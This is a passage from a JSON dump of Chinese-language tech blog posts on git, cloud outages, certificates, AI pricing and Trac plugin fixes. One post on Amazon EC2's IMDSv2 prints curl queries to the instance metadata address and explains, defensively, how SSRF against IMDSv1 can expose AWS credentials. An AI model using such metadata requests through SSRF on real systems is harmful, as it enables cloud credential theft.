    "body": "從「<a href=\"https://simonwillison.net/2023/Nov/1/tracking-sqlite-database-changes-in-git/\">Tracking SQLite Database Changes in Git</a>」這邊看到的，然後作者 Simon Willison 又是從 <a href=\"https://lobste.rs/\">Lobste.rs</a> 的「<a href=\"https://lobste.rs/s/gnv9ho/tracking_sqlite_database_changes_git\">Tracking SQLite Database Changes in Git databases</a>」這邊看到的，而原文在「<a href=\"https://garrit.xyz/posts/2023-11-01-tracking-sqlite-database-changes-in-git\">Tracking SQLite Database Changes in Git</a>」。\r\n\r\n一般 <a href=\"https://www.sqlite.org/\">SQLite</a> 檔案的 diff 會出現這樣：\r\n\r\n<pre>diff --git a/a.sqlite3 b/a.sqlite3\r\nindex a4a8cfa..714f34a 100644\r\nBinary files a/a.sqlite3 and b/a.sqlite3 differ</pre>\r\n\r\n作者想要透過 sqlite3 的指令加工，讓 <a href=\"https://git-scm.com/docs/git-diff\">git-diff</a> 的演算法可以展現出像是這樣的指令：\r\n\r\n<pre>diff --git a/a.sqlite3 b/a.sqlite3\r\nindex a4a8cfa..714f34a 100644\r\n--- a/a.sqlite3\r\n+++ b/a.sqlite3\r\n@@ -3,4 +3,5 @@ BEGIN TRANSACTION;\r\n CREATE TABLE tbl (id SERIAL, username TEXT, password TEXT, created_at INT, updated_at INT);\r\n INSERT INTO tbl VALUES(NULL,'gslin','$1$yRgoNPev$nOc5Hpr5JZAYISbHjp7LA/',0,0);\r\n INSERT INTO tbl VALUES(NULL,'dk','$1$yRgoNPev$nOc5Hpr5JZAYISbHjp7LA/',0,0);\r\n+INSERT INTO tbl VALUES(NULL,'darkkiller','$1$yRgoNPev$nOc5Hpr5JZAYISbHjp7LA/',0,0);\r\n COMMIT;</pre>\r\n\r\n方法是先設定 diff 工具部分，這個可以放到 <code>~/.gitconfig</code> 裡面：\r\n\r\n<pre>[diff \"sqlite3\"]\r\n    binary = true\r\n    textconv = \"echo '.dbconfig trusted_schema no\\n.dump' | sqlite3\"</pre>\r\n\r\n這邊跟原文不太一樣，主要是參考了 SQLite 官方網站上「<a href=\"https://www.sqlite.org/security.html\">Defense Against The Dark Arts</a>」這邊的「Untrusted SQLite Database Files」部分，增加了 <code>.dbconfig trusted_schema no</code> 的設定加減擋一下...\r\n\r\n然後我依照「<a href=\"https://stackoverflow.com/questions/28026767/where-should-i-place-my-global-gitattributes-file\">Where should I place my global 'gitattributes' file?</a>」這邊的問題與解答，把 attributes 設定放在 <code>~/.config/git/attributes</code> 裡面：\r\n\r\n<pre>*.sqlite diff=sqlite3\r\n*.sqlite3 diff=sqlite3</pre>\r\n\r\n這樣就會對這個使用者所有的 git repository 都生效。\r\n\r\n作者原文提到的方法也可以用，不過主要是在單一 repository 裡面設定，針對 <code>*.db</code> 這類只有在 repository 內才會知道規則的告訴 git 要怎麼認。",
    "title": "讓 git diff 可以直接顯示 SQLite3 裡面的差異"
  },
  {
    "id": "11430",
    "body": "前幾天 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的 API 與 dashboard 掛了一天多，少見的讓 <a href=\"https://en.wikipedia.org/wiki/Matthew_Prince\">Matthew Prince</a> (CEO) 自己出來發 post mortem 記錄了：「<a href=\"https://blog.cloudflare.com/post-mortem-on-cloudflare-control-plane-and-analytics-outage/\">Post Mortem on Cloudflare Control Plane and Analytics Outage</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面也有蠻多討論的：「<a href=\"https://news.ycombinator.com/item?id=38138640\">Post Mortem on Cloudflare Control Plane and Analytics Outage (cloudflare.com)</a>」，這邊是整理我自己讀完後的感想。\r\n\r\n從「<a href=\"https://blog.cloudflare.com/author/matthew-prince/\">Matthew Prince - The Cloudflare Blog</a>」這邊可以看出來 Matthew Prince 上次是 2023/09/27 的公關文「<a href=\"https://blog.cloudflare.com/cloudflares-annual-founders-letter-2023/\">Cloudflare’s 2023 Annual Founders’ Letter</a>」，還有對應的多國翻譯，像是繁體中文的「<a href=\"https://blog.cloudflare.com/zh-tw/cloudflares-annual-founders-letter-2023-zh-tw/\">Cloudflare 2023 年度創始人來信</a>」，再往前的 2022/12/11 也是公關文「<a href=\"https://blog.cloudflare.com/welcome-to-cloudflares-impact-week/\">Welcome to Cloudflare’s Impact Week</a>」(以及對應的繁體中文版本：「<a href=\"https://blog.cloudflare.com/zh-tw/welcome-to-cloudflares-impact-week-zh-tw/\">歡迎來到 Cloudflare 的 Impact Week</a>」)。\r\n\r\n這次的事情算是 Cloudflare 在 post-IPO 後很少見的長時間出事，就難得看到 Matthew Prince 自己出來坦了。為了重新建立信任，加上因為層級的關係，可以看到透漏出很多架構細節，算是這次可以窺視 Cloudflare 架構的一些資訊。\r\n\r\n先大概提一下官方文章的著墨點：他們花了非常多的篇幅在機房服務商 <a href=\"https://www.flexential.com/\">Flexential</a> 在處理 PDX-04 (這是 Cloudflare 訂的名稱) 機房電力問題的失職 (要注意這邊是 Cloudflare 的觀點，認為 Flexential 的失職，目前沒有從 Flexential 這邊的消息出來解釋)，淡化掉了 Cloudflare 自己的設計問題，這邊在 Hacker News 上有蠻多人都有指出來的。\r\n\r\n這次事件一切的起因是 Flexential 的 PDX-04 機房整個電力系統斷線 offline 導致的，屬於標準的 data center failure 的情況，像是 2013 年二月時是方機房的火災 (可以參考 <a href=\"https://www.ithome.com.tw/article/86902\">iThome 的整理</a>)，或是 2021 年 <a href=\"https://www.ovhcloud.com/\">OVH</a> 的機房火災 (「<a href=\"https://blog.gslin.org/archives/2022/03/23/10623/%E5%8E%BB%E5%B9%B4-ovh-%E6%A9%9F%E6%88%BF%E5%A4%A7%E7%81%AB%E7%9A%84%E9%83%A8%E4%BB%BD%E6%83%85%E5%BD%A2%E6%9C%80%E8%BF%91%E8%A2%AB%E6%8F%AD%E9%9C%B2/\">去年 OVH 機房大火的部份情形最近被揭露</a>」)，是個在設計架構時一定會規劃進去的項目。\r\n\r\n所以 Matthew Prince 先是解釋 Cloudflare 的 <a href=\"https://en.wikipedia.org/wiki/High_availability\">HA</a> 作法，是直接在 <a href=\"https://en.wikipedia.org/wiki/Hillsboro,_Oregon\">Hillsboro, Oregon</a> 租三個機房建立起 low-latency network：\r\n\r\n<blockquote>Cloudflare's control plane and analytics systems run primarily on servers in three data centers around Hillsboro, Oregon. The three data centers are independent of one another, each have multiple utility power feeds, and each have multiple redundant and independent network connections.</blockquote>\r\n\r\n但大家看到這計馬上就會去查，這個城市也才 66.9km<sup>2</sup> 的土地，大約是 1/4 個台北市 (約 291.8km<sup>2</sup>) 再小一些，拉了一下城市內的直線最遠距離，大約是 12km？\r\n\r\n呃，這不是一個地震 (就在<a href=\"https://zh.wikipedia.org/wiki/%E5%9C%A3%E5%AE%89%E5%BE%B7%E7%83%88%E4%BA%9A%E6%96%AF%E6%96%AD%E5%B1%82\">聖安地列斯斷層</a>區域？) 或是一個核攻擊就把 Cloudflare 最核心的部分給擺平了嗎？\r\n\r\n其中 analytics systems 就算了：整個 Hillsboro 掛了進入 gracefully degrading，我可以理解這個設計的考量，但 control plane 看起來不太妙？\r\n\r\n雞蛋放在同一個籃子的問題裡先放著，雖然這個問題真的很...。\r\n\r\n後續提到了有些重要的產品對沒有 HA 能力的服務上有相依性：\r\n\r\n<blockquote>Unfortunately, we discovered that a subset of services that were supposed to be on the high availability cluster had dependencies on services exclusively running in PDX-04.</blockquote>\r\n\r\n這邊沒有講是哪些服務的相依性，但文章其他地方有提到有些基礎服務是沒有跨機房 HA 架構的，只有在 PDX-04 有跑，包括了 <a href=\"https://kafka.apache.org/\">Kafka</a> 與 <a href=\"https://clickhouse.com/\">ClickHouse</a>：\r\n\r\n<blockquote>In particular, two critical services that process logs and power our analytics — Kafka and ClickHouse — were only available in PDX-04 but had services that depended on them that were running in the high availability cluster.</blockquote>\r\n\r\n這點讓人頗意外的，Kafka 因為自己架設 &amp; 維護過，知道他的架構本身就很容易設計到跨機房的 case，而且這算是很基礎建設的東西，居然沒有跨機房 HA？\r\n\r\n而 ClickHouse 只有研究過，沒有實際把 production 量丟上去跑，但從文件看到的東西，應該至少能做到 shared-everything 的架構，也居然沒有跨機房 HA？\r\n\r\n這接基礎建設的問題，導致了雖然只是單一機房 PDX-04 掛掉，但在有重要基礎建設消失的情況下 (應該就是上面提到的 Kafka 與 ClickHouse)，加上 Flexential 沒有給出恢復的時間，決定直接跑災難重建的 SOP (也就是 Hillsboro 的三個機房都回不來的情境)。\r\n\r\n而這也可以看到恢復時間比較久，從決定切到歐洲的 DR site 到整個切過去花了四個多小時：\r\n\r\n<blockquote>Because more services were offline than we expected, and because Flexential could not give us a time for restoration of our services, we made the call at 13:40 UTC to fail over to Cloudflare's disaster recovery sites located in Europe.</blockquote>\r\n\r\n<blockquote>By 17:57 UTC, the services that had been successfully moved to the disaster recovery site were stable and most customers were no longer directly impacted.</blockquote>\r\n\r\n因為 Kafka 與 ClickHouse 在 Hillsboro 只有單一機房有服務，那就不確定歐洲 DR site 平常有沒有建起來，也許這邊的四個多小時有不少是在歐洲 DR site 把 Kafka 與 ClickHouse 建起來？(這個就只能猜測了)\r\n\r\n回到 Flexential 這邊，在恢復供電的過程發現 Cloudflare 這邊迴路用的 breaker 掛了，直到十個小時後才供電，但也因為大家都忙了一整天，Matthew Prince 決定讓大家先回去休息，隔天早上再從歐洲的 DR site 切回 Hillsboro，也因此拉長了恢復的時間：\r\n\r\n<blockquote>At 12:48 UTC, Flexential was able to get the generators restarted. [...] When Flexential attempted to power back up Cloudflare's circuits, the circuit breakers were discovered to be faulty.</blockquote>\r\n\r\n<blockquote>Flexential replaced our failed circuit breakers, restored both utility feeds, and confirmed clean power at 22:48 UTC. Our team was all-hands-on-deck and had worked all day on the emergency, so I made the call that most of us should get some rest and start the move back to PDX-04 in the morning. That decision delayed our full recovery, but I believe made it less likely that we’d compound this situation with additional mistakes.</blockquote>\r\n\r\n要注意報告慣例是用 UTC 時間 (這又是另外一個主題了，先前 HN 上也有其他文章討論過...)，而 Hillsboro 在美西，要減八個小時，所以 22:48 UTC 是下午兩點多左右，美東與歐洲的團隊時間則會更晚。\r\n\r\n目前看起來 Cloudflare 的設計與流程有很大的改善空間？之後看看有沒有其他的八卦消息出來？",
    "title": "Cloudflare 前幾天 API 與 Dashboard 出事的 Post Mortem 記錄"
  },
  {
    "id": "11431",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 宣佈從 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 換到 <a href=\"https://git-scm.com/\">Git</a>：「<a href=\"https://groups.google.com/a/mozilla.org/g/firefox-dev/c/QnfydsDj48o\">Firefox Development Is Moving From Mercurial To Git</a>」。\r\n\r\n目前是 Mercurial 與 Git 都支援，理由是不想要維持兩套：\r\n\r\n<blockquote>For a long time Firefox Desktop development has supported both Mercurial and\r\nGit users. This dual SCM requirement places a significant burden on teams which\r\nare already stretched thin in parts. We have made the decision to move Firefox\r\ndevelopment to Git.</blockquote>\r\n\r\n不過不知道決策的過程到底是怎麼產生的，算是 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的老問題了...",
    "title": "Firefox 宣布從 Mercurial 換到 Git"
  },
  {
    "id": "11432",
    "body": "挪威一開始禁止 <a href=\"https://en.wikipedia.org/wiki/Meta_Platforms\">Meta</a> 旗下的產品 (也就包括了 <a href=\"https://www.facebook.com/\">Facebook</a> 與 <a href=\"https://www.instagram.com/\">Instagram</a>) 透過蒐集使用者的行為投放廣告 (behavioural advertising)：「<a href=\"https://www.reuters.com/technology/norway-data-regulator-fine-meta-over-privacy-breaches-2023-08-07/\">Norway court rules against Facebook owner Meta in privacy case</a>」。\r\n\r\n接著是挪威跟歐盟提議一起跟上 (挪威不是歐盟成員)：「<a href=\"https://www.reuters.com/technology/norway-asks-eu-regulator-fine-facebook-owner-meta-over-privacy-breach-2023-09-28/\">Norway asks EU regulator to fine Facebook owner Meta over privacy breach</a>」。\r\n\r\n接著就是現在了，歐盟也決定跟上：「<a href=\"https://www.reuters.com/technology/facebook-owner-faces-eu-ban-targeted-advertising-norway-says-2023-11-01/\">Facebook owner Meta faces EU ban on targeted advertising</a>」。\r\n\r\n這樣比起單獨一個挪威的禁令強多了，而且 Meta 被打下去了，隔壁棚的 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://en.wikipedia.org/wiki/TikTok\">TikTok</a> 應該也有機會接著掃蕩？",
    "title": "歐盟決定將挪威對 Meta 的禁令擴大到整個歐盟"
  },
  {
    "id": "11433",
    "body": "先前提到 ISP 可以透過 http-01 的方式申請到合法的 SSL 憑證的方式：「<a href=\"https://blog.gslin.org/archives/2023/10/21/11401/isp-%e5%81%bd%e9%80%a0%e5%87%ba%e5%90%88%e6%b3%95%e7%9a%84-ssl-certificate%ef%bc%8c%e5%b0%8d%e6%94%be%e5%9c%a8%e5%be%b7%e5%9c%8b%e7%9a%84-xmpp-ru-%e9%80%b2%e8%a1%8c-mitm-%e7%9b%a3%e8%81%bd/\">ISP 偽造出合法的 SSL certificate，對放在德國的 xmpp.ru 進行 MITM 監聽</a>」。\r\n\r\n<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 是有提供對應的方法，透過 DNS 的 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">CAA record</a> 限制只有特定的帳號才能使用 http-01 的方式取得 SSL 憑證，這樣就可以避免 ISP 從中間申請到。\r\n\r\n方法在「<a href=\"https://letsencrypt.org/docs/caa/\">Certificate Authority Authorization (CAA)</a>」這頁，設定的方式是先取得機器上的 account id，像是我用 <a href=\"https://dehydrated.io/\">dehydrated</a> 的，會在 <code>/etc/dehydrated/accounts/ooxx/account_id.json</code> 這個檔案裡面，像是這樣：\r\n\r\n<pre>{\"url\":\"https://acme-v02.api.letsencrypt.org/acme/acct/104177199\"}</pre>\r\n\r\n其中的 <code>https://acme-v02.api.letsencrypt.org/acme/acct/104177199</code> 就是設定時會用到的資料。\r\n\r\n接下來是到 DNS 系統上設定 CAA record，依照官方的說明，如果單設 <code>letsencrypt.org</code> 是表示所有 Let's Encrypt 上的帳號都可以申請，後面增加 <code>;accounturi=</code> 代表指定只有這個帳號才可以申請，其他帳號是不能申請的：\r\n\r\n<pre>0 issue \"letsencrypt.org;accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/104177199\"</pre>\r\n\r\n設定完後可以利用強制 renew 的方式確認一下沒問題，像是 <code>dehydrated -c --force</code> 這樣的指令。",
    "title": "用 Let's Encrypt 提供的 accounturi 保護不被 ISP 使用 http-01 取得 SSL 憑證"
  },
  {
    "id": "11434",
    "body": "這次 <a href=\"https://openai.com/\">OpenAI</a> 的 API 又降價了，這次是倍數等級的降：「<a href=\"https://openai.com/blog/new-models-and-developer-products-announced-at-devday\">New models and developer products announced at DevDay</a>」。\r\n\r\nGPT-4 Turbo 的部分直接是拉高 context 以及降低價錢，從本來的 8K/32K context，直接拉高到單一 128K context 產品，而且價錢直接砍了 3/4 左右：\r\n\r\n<blockquote>GPT-4 8K\r\nInput: $0.03\r\nOutput: $0.06\r\n\r\nGPT-4 32K\r\nInput: $0.06\r\nOutput: $0.12</blockquote>\r\n\r\n<blockquote>GPT-4 Turbo 128K\r\nInput: $0.01\r\nOutput: $0.03</blockquote>\r\n\r\nGPT-3.5 Turbo 則是直耶拿掉 4K context 產品，然後把價錢砍了一半：\r\n\r\n<blockquote>GPT-3.5 Turbo 4K\r\nInput: $0.0015\r\nOutput: $0.002\r\n\r\nGPT-3.5 Turbo 16K\r\nInput: $0.003\r\nOutput: $0.004</blockquote>\r\n\r\n<blockquote>GPT-3.5 Turbo 16K\r\nInput: $0.001\r\nOutput: $0.002</blockquote>\r\n\r\nGPT-3.5 Turbo fine-tuning 的服務則是從本來 4K context 產品線，多了一條 16K context 的產品線，價錢也是砍了一半以上：\r\n\r\n<blockquote>GPT-3.5 Turbo 4K fine-tuning\r\nTraining: $0.008\r\nInput: $0.012\r\nOutput: $0.016</blockquote>\r\n\r\n<blockquote>GPT-3.5 Turbo 4K and 16K fine-tuning\r\nTraining: $0.008\r\nInput: $0.003\r\nOutput: $0.006</blockquote>\r\n\r\n另外也多了一些非文字類的功能，包括了影像與聲音的內容。\r\n\r\n記得之前有想過的一些點子，當時粗算了一下覺得太貴，好像可以重算看看...",
    "title": "OpenAI 的 API 又降價了..."
  },
  {
    "id": "11438",
    "body": "在「<a href=\"https://www.jeffgeerling.com/blog/2023/reducing-raspberry-pi-5s-power-consumption-140x\">Reducing Raspberry Pi 5's power consumption by 140x</a>」這邊看到的，講 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-5/\">Raspberry Pi 5</a> 在 shutdown 狀態下電力消耗過高的問題。\r\n\r\n依據 <a href=\"https://www.jeffgeerling.com/\">Jeff Geerling</a> 提到，在 shutdown 狀態下仍然會消耗 1.2W～1.6W：\r\n\r\n<blockquote>Because of this, a Pi 5 will still sit there consuming 1.2-1.6W when completely shut down, even without anything plugged in except power.</blockquote>\r\n\r\n也有提到解決方法是把 <code>POWER_OFF_ON_HALT</code> 改成 <code>1</code>，他給的範例另外有多一些設定，但跟這次的功耗問題無關：\r\n\r\n<pre>[all]\r\nBOOT_UART=1\r\nWAKE_ON_GPIO=0\r\nPOWER_OFF_ON_HALT=1</pre>\r\n\r\n依照文章裡面的說明設定好，重開再 shutdown 測試就可以看到整個降下來了：\r\n\r\n<blockquote>Save that configuration and reboot, then next time you shut down, you should see power consumption go down from 1-2W to 0.01W or even less:</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1699350911-9ff5c25c.webp\" /><img src=\"https://i.gslin.com/s/1699350911-9ff5c25c.png\" alt=\"\" /></picture>\r\n\r\n應該算是某種 bug 或是 regression，後續預設值應該會修正？",
    "title": "Raspberry Pi 5 在 shutdown 狀態時的電力消耗過高問題"
  },
  {
    "id": "11439",
    "body": "2019 的時候 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了 IMDSv2 (Instance Metadata Service)：「<a href=\"https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/\">Add defense in depth against open firewalls, reverse proxies, and SSRF vulnerabilities with enhancements to the EC2 Instance Metadata Service</a>」。\r\n\r\n舊版 v1 的 IMDS 可以直接拿到很多東西，像是這樣：\r\n\r\n<pre>curl -v http://169.254.169.254/latest/dynamic/instance-identity/document\r\n</pre>\r\n\r\n對於有使用 IAM Role 授權 EC2 instance 操作的，還可以參考「<a href=\"https://alexanderhose.com/how-to-hack-aws-instances-with-the-metadata-service-enabled/\">How to hack AWS instances that have the metadata service (IMDSv1) enabled</a>」這邊的方法取得對應的 AWS credential。\r\n\r\n當攻擊者可以「操弄」時 (像是 proxy server 或是 crawler)，就會蠻危險的。\r\n\r\n而 IMDSv2 則是多了一個步驟，你要先拿到 token，再把這個 token 帶到之後的 HTTP request header 裡面，而蠻多可以「操弄」的情境下是無法修改 HTTP request header 的：\r\n\r\n<pre>TOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\r\ncurl http://169.254.169.254/latest/meta-data/profile -H \"X-aws-ec2-metadata-token: ${TOKEN}\"</pre>\r\n\r\n而這次 2023 年則是推出了對應的計畫，將在 2024 年年中把預設值改成只提供 IMDSv2：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ec2-instance-metadata-service-imdsv2-by-default/\">Amazon EC2 Instance Metadata Service IMDSv2 by default</a>」。\r\n\r\n<blockquote>Effective mid-2024, newly released Amazon EC2 instance types will use only version 2 of the EC2 Instance Metadata Service (IMDSv2). We are also taking a series of steps to make IMDSv2 the default choice for AWS Management Console Quick Starts and other launch pathways.</blockquote>\r\n\r\n舊的 IMDSv1 還是可以開，但需要指定才會啟用。",
    "title": "Amazon EC2 的 IMDSv2 計畫"
  },
  {
    "id": "11441",
    "body": "有訂 RSS feed 但應該是漏看了，後來在 X (<a href=\"https://twitter.com/\">Twitter</a>) 上看到 <a href=\"https://twitter.com/qrtt1\">qrtt1</a> 轉貼 <a href=\"https://twitter.com/ingramchen\">ingramchen</a> 的貼文才注意到的，<a href=\"https://aws.amazon.com/\">AWS</a> 宣布 <a href=\"https://aws.amazon.com/eks/\">EKS</a> 支援期從本來的 14 個月 (跟 <a href=\"https://kubernetes.io/\">k8s</a> 官方相同) 變成 26 個月 (多了一年)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">鄉親吶！這就是 <a href=\"https://twitter.com/hashtag/%E9%95%B7%E7%85%A7?src=hash&amp;ref_src=twsrc%5Etfw\">#長照</a> 啊！只要 72 米。便宜辣！<a href=\"https://twitter.com/hashtag/AWS?src=hash&amp;ref_src=twsrc%5Etfw\">#AWS</a> <a href=\"https://twitter.com/hashtag/EKS?src=hash&amp;ref_src=twsrc%5Etfw\">#EKS</a> <a href=\"https://twitter.com/hashtag/K8S?src=hash&amp;ref_src=twsrc%5Etfw\">#K8S</a> <a href=\"https://t.co/oQBejt5Viq\">https://t.co/oQBejt5Viq</a></p>&mdash; qrtt1 (@qrtt1) <a href=\"https://twitter.com/qrtt1/status/1721888589330743548?ref_src=twsrc%5Etfw\">November 7, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n公告在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/10/amazon-eks-support-kubernetes-versions-preview/\">Amazon EKS Extended support for Kubernetes Versions now available in preview</a>」以及「<a href=\"https://aws.amazon.com/blogs/containers/amazon-eks-extended-support-for-kubernetes-versions-available-in-preview/\">Amazon EKS extended support for Kubernetes versions available in preview</a>」這邊。\r\n\r\n這邊查了資料發現有點複雜，<a href=\"https://github.com/kubernetes/enhancements/tree/master/keps/sig-release/2572-release-cadence\">KEP-2572: Defining the Kubernetes Release Cadence</a> 這邊有正式的說明，但「<a href=\"https://endoflife.date/kubernetes\">Kubernetes | endoflife.date</a>」這邊比較清楚 14 個月是怎麼來的：\r\n\r\n<blockquote>Kubernetes follows an N-2 support policy (meaning that the 3 most recent minor versions receive security and bug fixes) along with a 15-week release cycle. This results in a release being supported for 14 months (12 months of support and 2 months of upgrade period).</blockquote>\r\n\r\n雖然是付費功能，但目前這個功能是 preview，代表不受到 SLA 之類的保障，應該是之後成熟了再看情況變成 GA：\r\n\r\n<blockquote>Today, we’re announcing the preview of Amazon Elastic Kubernetes Service (EKS) extended support for Kubernetes versions. You can now run Amazon EKS clusters on a Kubernetes version for up to 26 months from the time the version is generally available on Amazon EKS. Extended Support is available as a free preview for all Amazon EKS customers, starting today with Kubernetes version 1.23.</blockquote>\r\n\r\n算是還不錯的消息？就目前看到的經驗，每次的升級都會爛掉不少東西，所以沒用到新功能卻被迫要更新的次數可以降低一些，總是好事...",
    "title": "AWS 宣布 EKS 支援期從 14 個月變成 26 個月"
  },
  {
    "id": "11442",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Trac\">Trac</a> 1.6 總算從死了三年的 <a href=\"https://www.python.org/downloads/release/python-2718/\">Python 2.7</a> 換成了 Python 3，所以算是蠻強大的升級動力，但也可以想像到相關的 plugin 其實因此爛了不少，加上 Trac 現再用的人愈來愈少，沒有人會修這些問題，所以你就得當「沒有人」跳下去修...\r\n\r\n標題上提到的 <a href=\"https://trac-hacks.org/wiki/SubticketsPlugin\">TracSubtickets</a> 算是這樣的一個套件，他的概念很好用，但大概從 Trac 1.2 以後就沒什麼更新了，先前有遇到 MySQL 8.0 的資料庫搭配起來會撞到關鍵字而出錯，得自己修。\r\n\r\n而這次遇到的問題是 TracSubtickets 在頁面輸出子票資訊時用到 <a href=\"https://trac.edgewall.org/wiki/TracDev/PluginDevelopment/ExtensionPoints/trac.web.api.ITemplateStreamFilter\">ITemplateStreamFilter</a> 這個功能，而從官方文件開頭也可以看到問題：Trac 1.4 的時候內部的 template engine 就從自家研發的 <a href=\"https://genshi.edgewall.org/\">Genshi</a> 換成了 <a href=\"https://www.python.org/\">Python</a> 社群用的更廣泛的 <a href=\"https://jinja.palletsprojects.com/\">Jinja2</a>，但當時只是先標成 deprecated，還沒到不能用，直到 Trac 1.5.1 時拔掉了，所以接下來的 Trac 1.6 就沒得用了。\r\n\r\n在官方的「<a href=\"https://trac.edgewall.org/wiki/TracDev/PortingFromGenshiToJinja#ReplacingITemplateStreamFilter\">Replacing the ITemplateStreamFilter interface</a>」有提出建議的方法，是用 JavaScript 改 DOM：\r\n\r\n<blockquote>The only way left to alter the generated content is to perform these modifications dynamically on client-side using JavaScript.</blockquote>\r\n\r\n我看了半天 Trac 1.6 的程式碼，看起來的確沒有什麼比較好的方法可以處理... 只能回來照官方的方法走，後續的問題就是看要處理的多乾淨 (或是多髒)。\r\n\r\n因為 Trac 本身沒有 client template engine (像是 <a href=\"https://react.dev/\">React</a> 或是 <a href=\"https://vuejs.org/\">Vue</a> 之類的)，我決定這邊還是讓 server 端全部把 html string 都產生出來，再由 client 端生一個 <code>div</code> 直接用 <code>innerHTML</code> 塞進去：這樣就不用傳一包 JSON 到 client 端慢慢組了...\r\n\r\n於是就出現了這包 diff/patch：「<a href=\"https://github.com/gslin/trac-subtickets-plugin/compare/cae40fb..master\">Comparing cae40fb..master · gslin/trac-subtickets-plugin</a>」。\r\n\r\n基本的思路是，既然以前的 <code>filter_stream()</code> 是產生 html tree 的程式碼，那就重複拿來用，把結果輸出轉成 html string，用 <code>add_script_data</code> 丟到 <code>window</code> 下的 global variable (喔耶)，再寫一段 javascript 把這串東西塞進本來在的 DOM 位置。\r\n\r\n這樣至少就能動了...",
    "title": "修好 Trac 1.6 上的 TracSubtickets"
  },
  {
    "id": "11443",
    "body": "續上篇「<a href=\"https://blog.gslin.org/archives/2023/11/09/11442/%e4%bf%ae%e5%a5%bd-trac-1-6-%e4%b8%8a%e7%9a%84-tracsubtickets/\">修好 Trac 1.6 上的 TracSubtickets</a>」提到的，反正 <a href=\"https://en.wikipedia.org/wiki/Trac\">Trac</a> 這個 community 的東西如果爛掉的話，自己修會比較快...\r\n\r\n<a href=\"https://trac-hacks.org/wiki/SlackIntegration\">SlackIntegration</a> 從字面上的意思就知道，是把 Trac 這邊的更新同步到 <a href=\"https://slack.com/\">Slack</a> 上的工具。\r\n\r\n這包主要的問題是 <a href=\"https://www.python.org/\">Python</a> 2 語法，所以在修的過程中間就不斷的在想起「啊，這是當初 Python 3 的 break-BC 改動」。\r\n\r\n從「<a href=\"https://github.com/gslin/trac-slack-plugin/compare/72bec82..master\">Comparing 72bec82..master · gslin/trac-slack-plugin</a>」這邊可以可以到修正的東西，主要修正的都是跟 unicode 有關的程式碼。\r\n\r\n一塊是 <a href=\"https://docs.python.org/3/library/2to3.html\">2to3</a> 修正的，把 <code>u'...'</code> 這種字串直接變成 <code>'...'</code>，不需要額外指定，另外是 <code>unicode(...)</code> 變成 <code>str(...)</code>。\r\n\r\n另外一個也還是 unicode 相關的，但因為是邏輯上的部分，2to3 沒有抓出來的，是 encode('utf-8') 的部分看起來就用不到了，這在 Python 3 裡面 <a href=\"https://requests.readthedocs.io/en/latest/\">requests</a> 會自動處理掉，只要丟標準的 string (unicode string) 進去就可以了。\r\n\r\n這樣又弄好一個套件了...",
    "title": "修好 Trac 1.6 上的 SlackIntegration"
  },
  {
    "id": "11445",
    "body": "延續「<a href=\"https://blog.gslin.org/archives/2023/10/31/11419/%E5%BE%9E-google-groups-%E9%80%81%E5%87%BA%E4%BE%86%E7%9A%84-spam-%E6%95%B8%E9%87%8F%E7%A8%8D%E5%BE%AE%E4%B8%8B%E9%99%8D/\">從 Google Groups 送出來的 spam 數量稍微下降...</a>」這邊的觀察，從 10/22 到 10/29 降了 2/3 左右，再往後拉七天到了 11/5 可以看到又少了 3/4 左右。\r\n\r\n另外整個 article volume 看起來也有降很多，從三個不同的 peering 來的量都有降，看起來是從源頭就有做一些事情。\r\n\r\n這是 10/22 的量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698737014-0cdd4609.webp\" /><img src=\"https://i.gslin.com/s/1698737014-0cdd4609.png\" alt=\"\" /></picture>\r\n\r\n這是 10/29 的量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1698737058-46f53976.webp\" /><img src=\"https://i.gslin.com/s/1698737058-46f53976.png\" alt=\"\" /></picture>\r\n\r\n這是 11/5 的量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1699548655-3acdb378.webp\" /><img src=\"https://i.gslin.com/s/1699548655-3acdb378.png\" alt=\"\" /></picture>",
    "title": "Google Groups 的 spam 的量又下降了不少..."
  },
  {
    "id": "11446",
    "body": "在 <a href=\"https://www.threads.net/@waxpancake\">waxpancake</a> 的<a href=\"https://www.threads.net/@waxpancake/post/CzbS-cVuGgn\">這邊</a>看到的，是一個從內部洩漏的 screenshot，後來 <a href=\"https://automattic.com/\">Automattic</a> 的 CEO，<a href=\"https://en.wikipedia.org/wiki/Matt_Mullenweg\">Matt Mullenweg</a>，在 <a href=\"https://www.tumblr.com/\">Tumblr</a> 上面把完整的內容都放出來，並且加上他的一些說明 (包括了一些內部的 team name 以及他的想法)：「<a href=\"https://www.tumblr.com/photomatt/733551497286172672/translation-of-internalspeak-to-externalspeak\">Translation of Internalspeak to Externalspeak</a>」。\r\n\r\n官方的說法主要就是不賺錢，所以除了客服團隊 (下面提到的 Happiness) 與 Trust &amp; Safety 團隊 (下面提到的 T&amp;S) 外，其他的成員將會被轉移到內部其他的計畫上：\r\n\r\n<blockquote>This plan is happening now: the majority of the 139 people in Bumblr will switch to other divisions. No plans for any switches in Happiness or 